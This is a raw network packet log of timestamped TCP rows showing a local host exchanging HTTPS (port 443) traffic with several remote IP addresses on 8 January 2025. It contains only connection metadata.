Jan 8, 2025 15:44:39.775423050 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.775460005 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.775468111 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.775477886 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.775491953 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.775875092 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.775907993 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.775914907 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.775938988 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.776315928 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.776331902 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.776397943 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.776397943 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.776407003 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.776535988 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.776561022 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.776601076 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.776607037 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.776633978 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.778381109 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.779656887 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.779674053 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.779753923 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.779762983 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.780030012 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.780046940 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.780060053 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.780066013 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.780092955 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.780610085 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.780622005 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.780637026 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.780644894 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.780664921 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.781061888 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.781155109 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.781173944 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.785116911 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.785125017 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.788599014 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.805771112 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.805835962 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.806072950 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.806081057 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.806128025 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.806134939 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.806174040 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.806189060 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.806219101 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.806364059 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.806405067 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.806437016 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.806447029 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.806473970 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.806761026 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.806827068 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.806860924 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.806859970 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.806871891 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.806888103 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.807454109 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.863918066 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.863940954 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.864054918 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.864075899 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.864342928 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.864366055 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.864403963 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.864412069 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.864447117 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.864617109 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.864630938 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.864669085 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.864677906 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.864703894 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.864703894 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.865083933 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.865820885 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.865842104 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.865928888 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.865928888 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.865936995 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.866162062 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.866178989 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.866193056 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.866199017 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.866230965 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.866384983 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.866403103 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.866415024 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.866422892 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.866432905 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.866485119 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.866485119 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.910953045 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.911019087 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.911103964 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.911108017 CET	49761	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.911124945 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.911166906 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.911195040 CET	49761	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.911202908 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.911530018 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.911555052 CET	49761	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.911565065 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.911637068 CET	49761	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.911734104 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.911799908 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.911875010 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.911900997 CET	49761	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.911946058 CET	49761	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.912452936 CET	49761	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.912470102 CET	443	49761	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.941333055 CET	443	49776	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.941591978 CET	49776	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.941612959 CET	443	49776	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.942820072 CET	443	49776	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.943245888 CET	49776	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.943245888 CET	49776	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.943427086 CET	443	49776	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.943463087 CET	49776	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.949702978 CET	443	49778	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:39.949925900 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.950534105 CET	49778	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:39.950552940 CET	443	49778	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:39.950615883 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.950622082 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.951637983 CET	443	49778	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:39.951760054 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.951796055 CET	49778	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:39.952528000 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.952687025 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.952750921 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.952826023 CET	49778	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:39.952896118 CET	443	49778	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:39.953011036 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.953016996 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:39.953044891 CET	49778	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:39.971389055 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.971492052 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.971528053 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.971544981 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.971575022 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.971600056 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.971724987 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.971760988 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.971767902 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.971802950 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.971887112 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.971921921 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.971927881 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.971959114 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.972014904 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.972090960 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.972121954 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.972127914 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.972161055 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.974936008 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.975266933 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.975394011 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.975454092 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.975462914 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.975474119 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.975493908 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.975512981 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.975565910 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.975573063 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.975604057 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.975739002 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.975821018 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.975862980 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.975871086 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.975898981 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.975933075 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.976021051 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.976057053 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.976068020 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.976098061 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.976782084 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.976834059 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.976851940 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.976857901 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.976872921 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.976900101 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.976914883 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.976944923 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.976952076 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.976979971 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.977345943 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.987333059 CET	443	49776	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.994246006 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:39.994246960 CET	49776	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:39.994246006 CET	49778	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:39.994255066 CET	443	49776	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:39.994277000 CET	443	49778	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:40.027443886 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.027470112 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.027529001 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.027569056 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.027569056 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.027590036 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.027604103 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.028430939 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.028445959 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.028470993 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.028525114 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.028525114 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.028532028 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.029875040 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.029896975 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.029956102 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.029956102 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.029964924 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.030244112 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.030260086 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.030543089 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.030565023 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.030577898 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.030585051 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.030611038 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.030847073 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.030863047 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.030883074 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.030900955 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.030910969 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.030920029 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.031071901 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.031097889 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.031109095 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.031114101 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.031183958 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.031183958 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.041235924 CET	49778	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:40.041237116 CET	49776	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.061523914 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.061579943 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.061682940 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.061690092 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.061690092 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.061698914 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.061717987 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.061749935 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.061825037 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.061830044 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.061920881 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.094780922 CET	443	49778	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:40.094875097 CET	443	49778	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:40.094923019 CET	443	49778	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:40.094926119 CET	49778	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:40.094938040 CET	443	49778	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:40.094985962 CET	49778	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:40.094995975 CET	443	49778	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:40.095086098 CET	443	49778	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:40.095120907 CET	49778	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:40.095128059 CET	443	49778	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:40.095170021 CET	443	49778	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:40.095208883 CET	49778	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:40.095216036 CET	443	49778	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:40.095321894 CET	443	49778	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:40.095371008 CET	49778	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:40.096220970 CET	49778	443	192.168.2.16	104.21.13.162
Jan 8, 2025 15:44:40.096234083 CET	443	49778	104.21.13.162	192.168.2.16
Jan 8, 2025 15:44:40.113219023 CET	49781	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:40.113239050 CET	443	49781	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:40.113327026 CET	49781	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:40.113656998 CET	49781	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:40.113675117 CET	443	49781	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:40.116235971 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.116255045 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.116327047 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.116347075 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.116395950 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.117012024 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.117027044 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.117085934 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.117094040 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.117130995 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.117322922 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.117337942 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.117384911 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.117392063 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.117422104 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.117430925 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.118654013 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.118671894 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.118725061 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.118731976 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.118768930 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.119082928 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.119100094 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.119159937 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.119168043 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.119203091 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.119353056 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.119368076 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.119409084 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.119415045 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.119461060 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.119843960 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.119863033 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.119879961 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.119901896 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.119910955 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.119936943 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.331479073 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.331502914 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.331547022 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.331593037 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.331612110 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.331624985 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.331643105 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.331659079 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.331666946 CET	49754	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.331715107 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.331721067 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.331738949 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.331762075 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.331782103 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.331799984 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.331835985 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.331845045 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.331855059 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.331883907 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.331938982 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.331965923 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.331974030 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.331984043 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.332113028 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.332156897 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.332163095 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.332174063 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.332216024 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.332226038 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.332231045 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.332248926 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.332259893 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.332273960 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.332278967 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.332308054 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.332505941 CET	49754	443	192.168.2.16	104.21.28.45
